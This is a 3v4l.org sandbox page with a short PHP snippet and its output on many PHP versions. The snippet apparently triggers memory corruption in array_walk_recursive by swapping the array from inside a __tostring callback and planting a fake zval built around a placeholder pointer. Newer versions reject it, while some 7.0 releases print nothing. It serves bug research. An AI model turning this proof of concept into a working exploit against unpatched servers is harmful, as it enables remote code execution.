3v4l.org

run code in 300+ PHP versions simultaneously
<?php function ptr2str($ptr) { $out = ""; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } class obj { function __tostring() { global $arr, $zval; $arr = 1; $zval = ptr2str(2); $zval .= ptr2str(0x1122334455); $zval .= "\x00\x00\x00\x00"; $zval .= "\x05"; $zval .= "\x00"; $zval .= "\x00\x00"; return 'hi'; } } $arr = array('string' => new obj, 1); array_walk_recursive($arr, 'settype');
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.27, 8.2.0 - 8.2.17, 8.3.0 - 8.3.4
Fatal error: Uncaught TypeError: Iterated value is no longer an array or object in /in/n5E2r:30 Stack trace: #0 /in/n5E2r(30): array_walk_recursive(1, 'settype') #1 {main} thrown in /in/n5E2r on line 30
Process exited with code 255.
Output for 7.1.0 - 7.1.25, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33
Warning: array_walk_recursive(): Iterated value is no longer an array or object in /in/n5E2r on line 30
Output for 7.0.0 - 7.0.20
Output for 5.5.24 - 5.5.35, 5.6.8 - 5.6.28
Warning: settype(): Invalid type in /in/n5E2r on line 30

preferences:
168.84 ms | 401 KiB | 194 Q